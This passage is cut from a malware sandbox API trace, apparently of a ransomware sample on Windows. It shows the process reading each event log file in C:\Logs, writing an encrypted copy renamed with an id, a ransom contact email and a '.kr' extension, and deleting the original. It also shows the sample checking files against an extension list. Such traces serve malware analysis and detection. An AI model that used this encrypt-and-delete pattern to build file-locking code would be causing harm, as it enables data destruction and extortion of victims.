(lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.702] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.702] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.702] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.702] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0103.703] GetLastError () returned 0x0 [0103.703] ReadFile (in: hFile=0x35c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0103.706] WriteFile (in: hFile=0x384, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0103.709] ReadFile (in: hFile=0x35c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0103.709] WriteFile (in: hFile=0x384, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x130, lpOverlapped=0x0) returned 1 [0103.709] SetEndOfFile (hFile=0x384) returned 1 [0103.709] CloseHandle (hObject=0x384) returned 1 [0103.712] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.712] SetEndOfFile (hFile=0x35c) returned 1 [0103.713] CloseHandle (hObject=0x35c) returned 1 [0103.714] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0103.714] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 1 [0103.714] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0103.714] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0103.714] lstrlenW (lpString=".doc") returned 4 [0103.714] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.714] lstrlenW (lpString=".docx") returned 5 [0103.714] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.714] lstrlenW (lpString=".pdf") returned 4 [0103.715] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.715] lstrlenW (lpString=".xls") returned 4 [0103.715] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.715] lstrlenW (lpString=".xlsx") returned 5 [0103.715] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.715] lstrlenW (lpString=".ppt") returned 4 [0103.715] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.715] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0103.715] lstrlenW (lpString=".zip") returned 4 [0103.715] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.715] lstrlenW (lpString=".rar") returned 4 [0103.715] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.715] lstrlenW (lpString=".bz2") returned 4 [0103.715] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.715] lstrlenW (lpString=".7z") returned 3 [0103.715] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.715] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0103.715] lstrlenW (lpString=".dbf") returned 4 [0103.715] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.715] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0103.716] lstrlenW (lpString=".1cd") returned 4 [0103.716] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.716] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0103.716] lstrlenW (lpString=".jpg") returned 4 [0103.716] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.716] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0103.716] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0103.716] lstrlenW (lpString=".doc") returned 4 [0103.716] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.716] lstrlenW (lpString=".docx") returned 5 [0103.716] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.716] lstrlenW (lpString=".pdf") returned 4 [0103.716] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.716] lstrlenW (lpString=".xls") returned 4 [0103.716] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.717] lstrlenW (lpString=".xlsx") returned 5 [0103.717] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.717] lstrlenW (lpString=".ppt") returned 4 [0103.717] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.717] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0103.717] lstrlenW (lpString=".zip") returned 4 [0103.717] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.717] lstrlenW (lpString=".rar") returned 4 [0103.717] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.717] lstrlenW (lpString=".bz2") returned 4 [0103.717] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.717] lstrlenW (lpString=".7z") returned 3 [0103.717] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.717] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0103.717] lstrlenW (lpString=".dbf") returned 4 [0103.717] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.717] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0103.717] lstrlenW (lpString=".1cd") returned 4 [0103.717] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.717] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0103.717] lstrlenW (lpString=".jpg") returned 4 [0103.717] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.718] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0103.718] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Operational.evtx") returned 45 [0103.718] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.718] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=69632) returned 1 [0103.718] CloseHandle (hObject=0x35c) returned 1 [0103.718] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20 [0103.718] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.718] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.718] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.719] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.719] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0103.719] GetLastError () returned 0x0 [0103.719] ReadFile (in: hFile=0x35c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0103.722] WriteFile (in: hFile=0x384, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0103.726] ReadFile (in: hFile=0x35c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0103.726] WriteFile (in: hFile=0x384, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x12e, lpOverlapped=0x0) returned 1 [0103.726] SetEndOfFile (hFile=0x384) returned 1 [0103.726] CloseHandle (hObject=0x384) returned 1 [0103.729] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.729] SetEndOfFile (hFile=0x35c) returned 1 [0103.731] CloseHandle (hObject=0x35c) returned 1 [0103.731] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0103.731] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 1 [0103.732] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0103.732] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0103.732] lstrlenW (lpString=".doc") returned 4 [0103.732] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.732] lstrlenW (lpString=".docx") returned 5 [0103.732] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.732] lstrlenW (lpString=".pdf") returned 4 [0103.732] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.732] lstrlenW (lpString=".xls") returned 4 [0103.732] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.732] lstrlenW (lpString=".xlsx") returned 5 [0103.732] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.732] lstrlenW (lpString=".ppt") returned 4 [0103.732] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.732] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0103.732] lstrlenW (lpString=".zip") returned 4 [0103.732] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.732] lstrlenW (lpString=".rar") returned 4 [0103.732] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.732] lstrlenW (lpString=".bz2") returned 4 [0103.732] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.732] lstrlenW (lpString=".7z") returned 3 [0103.732] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.733] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0103.733] lstrlenW (lpString=".dbf") returned 4 [0103.733] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.733] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0103.733] lstrlenW (lpString=".1cd") returned 4 [0103.733] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.733] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0103.733] lstrlenW (lpString=".jpg") returned 4 [0103.733] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.733] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0103.733] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0103.733] lstrlenW (lpString=".doc") returned 4 [0103.733] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.733] lstrlenW (lpString=".docx") returned 5 [0103.733] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.733] lstrlenW (lpString=".pdf") returned 4 [0103.733] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.733] lstrlenW (lpString=".xls") returned 4 [0103.733] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.733] lstrlenW (lpString=".xlsx") returned 5 [0103.733] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.733] lstrlenW (lpString=".ppt") returned 4 [0103.733] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.733] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0103.733] lstrlenW (lpString=".zip") returned 4 [0103.734] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.734] lstrlenW (lpString=".rar") returned 4 [0103.734] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.734] lstrlenW (lpString=".bz2") returned 4 [0103.734] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.734] lstrlenW (lpString=".7z") returned 3 [0103.734] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.734] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0103.734] lstrlenW (lpString=".dbf") returned 4 [0103.734] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.734] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0103.734] lstrlenW (lpString=".1cd") returned 4 [0103.734] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.734] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0103.734] lstrlenW (lpString=".jpg") returned 4 [0103.734] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.734] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0103.734] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Security.evtx") returned 42 [0103.734] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.735] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=69632) returned 1 [0103.735] CloseHandle (hObject=0x35c) returned 1 [0103.735] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20 [0103.735] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.735] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.735] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.735] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.736] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0103.736] GetLastError () returned 0x0 [0103.736] ReadFile (in: hFile=0x35c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0104.237] WriteFile (in: hFile=0x384, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0104.239] ReadFile (in: hFile=0x35c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0104.239] WriteFile (in: hFile=0x384, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x128, lpOverlapped=0x0) returned 1 [0104.239] SetEndOfFile (hFile=0x384) returned 1 [0104.240] CloseHandle (hObject=0x384) returned 1 [0104.244] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0104.244] SetEndOfFile (hFile=0x35c) returned 1 [0104.245] CloseHandle (hObject=0x35c) returned 1 [0104.246] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0104.246] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 1 [0104.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0104.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0104.616] lstrlenW (lpString=".doc") returned 4 [0104.616] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0104.616] lstrlenW (lpString=".docx") returned 5 [0104.616] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0104.616] lstrlenW (lpString=".pdf") returned 4 [0104.616] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0104.617] lstrlenW (lpString=".xls") returned 4 [0104.617] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0104.617] lstrlenW (lpString=".xlsx") returned 5 [0104.617] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0104.617] lstrlenW (lpString=".ppt") returned 4 [0104.617] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0104.617] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0104.617] lstrlenW (lpString=".zip") returned 4 [0104.617] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0104.617] lstrlenW (lpString=".rar") returned 4 [0104.617] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0104.617] lstrlenW (lpString=".bz2") returned 4 [0104.617] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0104.617] lstrlenW (lpString=".7z") returned 3 [0104.617] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0104.617] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0104.617] lstrlenW (lpString=".dbf") returned 4 [0104.617] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0104.617] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0104.617] lstrlenW (lpString=".1cd") returned 4 [0104.617] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0104.617] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0104.617] lstrlenW (lpString=".jpg") returned 4 [0104.617] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0104.617] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0104.617] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0104.617] lstrlenW (lpString=".doc") returned 4 [0104.617] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0104.617] lstrlenW (lpString=".docx") returned 5 [0104.617] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0104.617] lstrlenW (lpString=".pdf") returned 4 [0104.617] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0104.618] lstrlenW (lpString=".xls") returned 4 [0104.618] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0104.618] lstrlenW (lpString=".xlsx") returned 5 [0104.618] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0104.618] lstrlenW (lpString=".ppt") returned 4 [0104.618] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0104.618] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0104.618] lstrlenW (lpString=".zip") returned 4 [0104.618] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0104.618] lstrlenW (lpString=".rar") returned 4 [0104.618] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0104.618] lstrlenW (lpString=".bz2") returned 4 [0104.618] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0104.618] lstrlenW (lpString=".7z") returned 3 [0104.618] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0104.618] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0104.618] lstrlenW (lpString=".dbf") returned 4 [0104.618] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0104.618] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0104.618] lstrlenW (lpString=".1cd") returned 4 [0104.618] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0104.618] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0104.618] lstrlenW (lpString=".jpg") returned 4 [0104.618] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0104.618] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0104.618] lstrlenW (lpString="Microsoft-Windows-User Profile Service%4Operational.evtx") returned 56 [0104.619] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0105.081] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=69632) returned 1 [0105.081] CloseHandle (hObject=0x34c) returned 1 [0105.082] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20 [0105.082] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.082] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0105.082] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0105.082] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0105.082] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0105.083] GetLastError () returned 0x0 [0105.083] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0105.088] WriteFile (in: hFile=0x390, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0105.090] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) 